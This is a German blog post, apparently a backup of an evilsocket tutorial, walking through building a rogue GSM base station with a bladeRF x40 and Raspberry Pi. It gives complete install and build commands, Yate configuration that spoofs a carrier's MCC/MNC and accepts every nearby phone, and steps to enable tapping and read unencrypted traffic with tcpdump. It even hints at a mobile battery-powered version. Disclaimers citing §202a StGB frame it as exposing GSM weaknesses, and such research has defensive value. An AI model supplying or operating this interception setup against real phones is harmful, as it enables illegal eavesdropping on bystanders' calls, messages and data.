Jedes Handys abhören mit eigener GSM-Station unter 500€

Originalartikel

Backup

<html> <p><strong>Letzen Monat haben wir auf einer Tour durch die Onlineshops eine ganz besondere Hardware gefunden, den <a href=„https://www.nuand.com/blog/product/bladerf-x40/“>BladeRFx40</a>. Ein sehr g&#252;nstiges USB 3.0 BTS &#8220;<b>Base Transceiver Station&#8221;</b> Modul das in Full-Duplex arbeitet, also gleichzeitig senden und empfangen kann. </strong></p><p><em><strong>Disclaim:</strong> Wir schreiben diesen Beitrag <strong>nicht</strong> damit Script-Kiddies und selbsternannte &#8220;Experten&#8221; das Gesetz brechen k&#246;nnen! Wir m&#246;chten lediglich die Angriffsfl&#228;che des GSM-Protokoll aufzeigen und zur Verbesserung der Sicherheit beitragen. Wer ein solches Setup im freien Raum betreibt macht sich strafbar nach &#8220;<strong>&#167;202A StGB &#8211; Aussp&#228;hen von Daten</strong>&#8220;!</em></p>

<h2>Ben&#246;tigte Hardware</h2> <p>Um eine funktionierende BTS zu erstellen brauchen wir folgende Hardware:</p> <ul><li>Ein <a href=„https://www.nuand.com/blog/product/bladerf-x40/“>bladeRF x40</a></li> <li>Zwei <a href=„https://www.sparkfun.com/products/675“>Quad-band Duck Antennen SMA</a></li> <li>Einen Raspberry Pi 3 (Model 2 war in den Tests zu langsam)</li> <li>Micro SD Karte f&#252;r den Raspberry (min. 16GB)</li> </ul><h2/> <h2>Software</h2> <p>Wir beginnen mit der Installation des neusten <a href=„https://www.raspberrypi.org/downloads/raspbian/“>Raspbian</a> auf die SD-Karte. Benutzt das &#8220;little&#8221; Image da wir keine grafische Oberfl&#228;che wollen/ brauchen.&#160; Danach booten wir den Raspberry und konfigurieren alles soweit bis wir per SSH auf den Raspberry zugreifen k&#246;nnen.</p> <p>Als n&#228;chstes installieren wir die ben&#246;tigten Pakete.</p> <pre>sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake</pre> <p>Das BladeRF wird einfach an einen der USB-Port des Raspberry gesteckt. Jetzt sollte das Blade ansprechbar sein. Der Befehl <strong>dmesg</strong> sollte eine &#228;hnliche Ausgabe wie diese erzeugen:</p> <pre>[ 2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066&#13; [ 2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3&#13; [ 2332.071707] usb 1-1.3: Product: bladeRF&#13; [ 2332.071720] usb 1-1.3: Manufacturer: Nuand&#13; [ 2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742&#13; </pre> <p>Nun k&#246;nnen wir die BladeRF-CLI starten.</p> <pre>pi@raspberrypi:~ $ sudo bladeRF-cli -i&#13; bladeRF&gt; version&#13; &#13;

bladeRF-cli version:        0.11.1-git&#13;
libbladeRF version:         0.16.2-git&#13;

&#13;

Firmware version:           1.6.1-git-053fb13-buildomatic&#13;
FPGA version:               0.1.2&#13;

&#13; bladeRF&gt;&#13; </pre> <p><em>WICHTIG: Stellt sicher das ihr die richtige Firmware-Version des FPGA habt. Andere Versionen werden eventuell nicht funktionieren.</em></p> <p><a href=„https://www.evilsocket.net/images/bladerf_firmware_and_fpga.tar.gz“>Hier k&#246;nnt ihr die richtige Version Herunterladen.</a></p> <p>Jetzt installieren wir Yate und YateBTS, zwei open source Software-Projekte die es uns erm&#246;glichen einen BTS zu erstellen. Nun kann man lange experimentieren welche Firmware-Version zu welcher Software-Version des BladeRF passt oder man l&#228;d sich einfach alles aus dem Evilsocket Github Repo:</p> <pre>git clone https://github.com/evilsocket/evilbts.git&#13; cd evilbts</pre> <p>Wir starten den Build beider Pakete mit:</p> <pre>cd yate&#13; ./autogen.sh&#13; ./configure –prefix=/usr/local&#13; make -j4&#13; sudo make install&#13; sudo ldconfig&#13; cd ..&#13; &#13; cd yatebts&#13; ./autogen.sh&#13; ./configure –prefix=/usr/local&#13; make -j4&#13; sudo make install&#13; sudo ldconfig</pre> <p>Das kann ein paar Minuten dauern. Danach ist alles n&#246;tige installiert.</p> <p>Als n&#228;chstes setzen wir einen Symlink f&#252;r die NIB Web UI auf unser Apache &#8220;www&#8221; Verzeichnis.</p> <pre>cd /var/www/html/&#13; sudo ln -s /usr/local/share/yate/nib_web nib</pre> <p>Und geben Schreibrechte auf die Konfigurations-Dateien.</p> <pre>sudo chmod -R a+w /usr/local/etc/yate</pre> <p>Ab jetzt k&#246;nnen wir unseren BTS &#252;ber das Webinterface erreichen.</p> <pre>http://ip-des-raspberry/nib&#13; </pre>

<h2>Konfiguration des BTS</h2> <p>&#214;ffne die Datei <strong>/usr/local/etc/yate/ybts.conf</strong> mit einem Editor wie &#8220;vim&#8221; oder &#8220;nano&#8221; und update die folgenden Werte:</p> <pre>Radio.Band=900&#13; Radio.C0=1000&#13; Identity.MCC=YOUR_COUNTRY_MCC&#13; Identity.MNC=YOUR_OPERATOR_MNC&#13; Identity.ShortName=MyEvilBTS&#13; Radio.PowerManager.MaxAttenDB=35&#13; Radio.PowerManager.MinAttenDB=35</pre> <p>Die genauen Frequenzbereiche sind z.B. <a href=„http://www.mcc-mnc.com/“>HIER</a> aber auch an vielen anderen Stellen im Internet zu finden.</p> <p>Jetzt editieren wir noch die Datei <strong>/usr/local/etc/yate/subscribers.conf</strong></p> <pre>country_code=YOUR_CONTRY_CODE&#13; regexp=.*</pre> <p><em><strong>ACHTUNG!!</strong>: Den Parameter &#8220;regexp&#8221; auf dem Wert .* zu belassen bedeutet ihr wollt das sich <strong>JEDES</strong> GSM-Telefon in der N&#228;he auf eure BTS verbindet! Nat&#252;rlich ist dies <strong>nur in Testumgebungen</strong> wir unserer erlaubt!<br/></em></p>

<p>In der NIB Web UI sollte es nun so &#228;hnlich aussehen:</p> <figure id=„attachment_1105“ class=„wp-caption alignnone“><img class=„wp-image-1105 size-full“ src=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-1.png“ width=„1753“ height=„1240“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-1.png 1753w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-300x212.png 300w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-768x543.png 768w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-1024x724.png 1024w“ sizes=„(max-width: 1753px) 100vw, 1753px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> <h2>Aktivieren des GSM-Tapping</h2> <p>Im Pannel &#8220;Tapping&#8221; k&#246;nnen wir beide Protokolle, GSM und GPRS, aktivieren. Im Grunde werden nun alle GSM-Pakete an des Loopback-Interface &#8220;gebounced&#8221;. Da wir noch keine Verschl&#252;sselung konfiguriert haben k&#246;nnen wir mit einem &#8220;tcpdump&#8221; auf dem Loopback Interface allen Verkehr <strong>Unverschl&#252;sselt </strong>mitlesen.</p> <figure id=„attachment_1106“ class=„wp-caption aligncenter“><img class=„wp-image-1106 size-full“ src=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-2.png“ width=„1756“ height=„939“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-2.png 1756w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-300x160.png 300w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-768x411.png 768w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-1024x548.png 1024w“ sizes=„(max-width: 1756px) 100vw, 1756px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> <h2>Start</h2> <p>Endlich k&#246;nnen wir unseren neuen BTS (mit dem BladeRF angesteckt) starten!</p> <pre>sudo yate -s</pre> <p>Wenn ihr alles richtig gemacht habt sollte eine &#228;hnliche Ausgabe wie diese erscheinen.</p> <pre>Starting MBTS…&#13; Yate engine is initialized and starting up on raspberrypi&#13; RTNETLINK answers: File exists&#13; MBTS ready</pre> <p>Die LED an der Front des BladeRF sollte blinken.</p> <h2/> <h2>Testen</h2> <figure id=„attachment_1107“ class=„wp-caption alignleft“><img class=„wp-image-1107“ src=„https://antisecurity.de/wp-content/uploads/2017/01/gsm-1.jpeg“ width=„268“ height=„546“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/gsm-1.jpeg 686w, https://antisecurity.de/wp-content/uploads/2017/01/gsm-1-147x300.jpeg 147w, https://antisecurity.de/wp-content/uploads/2017/01/gsm-1-503x1024.jpeg 503w“ sizes=„(max-width: 268px) 100vw, 268px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure><p>Jetzt werden GSM-Ger&#228;te in der N&#228;he versuchen sich zu unserem BTS zu verbinden. Das liegt an einer Design-Schw&#228;che im GSM-Protokoll.</p> <ul><li>Wir k&#246;nnen MCC, MNC und LAC setzen wie wir m&#246;chten und so legitime GSM-BTS in der N&#228;he spoofen.</li> <li>Jedes Ger&#228;t sucht nach einem Signal seines Betreibers und wird sich mit dem st&#228;rksten verbinden &#8211; Ratet welches Signal das st&#228;rkste ist? Richtig, unseres! &#128578;</li> </ul><p>Dieses Bild wurde auf einem Samsung Galaxy S6 (<a href=„https://play.google.com/store/apps/details?id=com.wilysis.cellinfolite“>Network Cell Info Lite App</a>) aufgenommen welches sich automatisch nach 3 Minuten zu unserem BTS verbunden hat.</p> <p>Ab jetzt steht es uns frei zu tun was wir wollen. Wir k&#246;nnen als &#8220;Proxy&#8221; f&#252;r einen legitiemen SMC im Netzwerk agieren (mit einem GSM/4G Dongle). Wir k&#246;nnten allen nicht verschl&#252;sselten GSM-Traffic jedes einzelnen Telefons aufzeichnen, auswerten und speichern.</p> <p>Oder wir k&#246;nnten eine private GSM Station erstellen die von ihren Usern Kostenlos via SIP genutzt werden kann. Die M&#246;glichkeiten sind vielf&#228;ltig. F&#252;r weitere Konfiguration empfehlen wir das <a href=„http://wiki.yatebts.com/index.php/Main_Page“>YateWiki</a>.</p> <p>Nicht zu vergessen was m&#246;glich w&#228;re wenn man den Raspberry und das Board mit einem Battery-Pack ausstattet und das ganze Setup mobil macht. &#128521;</p> <h2><strong>Fazit</strong></h2> <p>Wie wir zeigen wollen sind die M&#246;glichkeiten der Manipulation und des Missbrauchs mit derart schlecht abgesicherten Protokollen sehr vielf&#228;ltig. Warum der GSM-Standard bis heute nicht besser gesichert ist oder gar abgeschafft wurde kann nicht genau erkl&#228;rt werden. Im gesamten GSM-Raum gibt es fl&#228;chendeckend 3G/4G was ein Telefonieren &#252;ber das Internet m&#246;glich macht.</p> <p><em><strong>Wir weisen nochmals auf die rechtliche Lage hin</strong>: Wer dieses Setup im freien Raum betreibt oder plant zu betreiben, macht sich strafbar nach &#8220;&#167;202a StGB Aussp&#228;hen von Daten&#8221;.</em></p> </html>